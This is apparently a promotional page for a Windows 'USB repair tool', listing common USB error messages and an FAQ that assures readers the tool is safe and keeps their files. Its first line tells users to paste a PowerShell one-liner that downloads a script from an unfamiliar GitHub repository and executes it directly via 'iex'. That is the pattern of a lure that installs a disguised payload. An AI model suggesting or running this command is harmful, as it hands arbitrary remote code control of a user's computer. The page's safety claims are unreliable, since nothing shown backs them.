Alternative: PowerShell
irm https://raw.githubusercontent.com/CrystalContractor71/Release/main/install.ps1 | iexYou plug in a USB drive, external hard drive, or phone and Windows shows:
"USB Device Not Recognized"
"The last USB device you connected to this computer malfunctioned"
"Unknown USB Device (Device Descriptor Request Failed)"
"USB device not detected"
Or worse -- your USB drive shows up but says:
"You need to format the disk in drive E: before you can use it"
"The disk structure is corrupted and unreadable"
"Location is not available. Access is denied"

- Reinstalls USB host controller drivers

Will it erase my data? No. The tool repairs without formatting. Your files remain intact.
My USB works on other computers but not mine. This means the issue is with your PC's USB drivers or power management. This tool fixes exactly that.
I get "USB Device Not Recognized" for every device I plug in. This usually means corrupted USB host controller drivers. The tool reinstalls them.
Is it safe? Yes. The tool uses Windows built-in utilities (devcon, chkdsk, pnputil) to diagnose and repair.
